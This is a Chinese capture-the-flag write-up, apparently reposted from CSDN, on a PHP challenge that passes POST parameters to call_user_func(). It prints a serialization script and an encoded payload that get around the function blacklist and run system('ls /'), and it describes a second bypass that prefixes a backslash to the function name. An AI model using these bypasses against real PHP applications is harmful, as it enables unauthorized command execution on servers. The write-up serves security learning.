从抓到的包以及它首页的报错来看,这里死活会post传输两个参数func以及p
随便输了几个函数,他这里就报出了call_user_func()
这里过滤的还是很完整,基本上所有的命令执行函数都过滤干净了了
这里我的思路是通过反序列化传入参数绕过网站对func的防护,通过反序列化后执行system函数
<?php
class Test {
var $p = "ls /";
var $func = "system";
}
echo urlencode(serialize(new Test()));
?>
O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D
获得flag
现在来说第二种方法
在php里反斜杠会被认定为特殊字符,如果在system中加上反斜杠例如system就会绕过验证
关于call_user_cunc()
call_user_func函数类似于一种特别的调用函数的方法,它可以调用php内部函数也可以调用用户自定定义的函数
例如:
<?php
function barber($type)
{
echo "You wanted a $type haircut, no problemn";
}
call_user_func('barber', "mushroom");
call_user_func('barber', "shave");
?>You wanted a mushroom haircut, no problem You wanted a shave haircut, no problem
原文地址:https://blog.csdn.net/whale_waves/article/details/134776693
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.7code.cn/show_43722.html
如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除!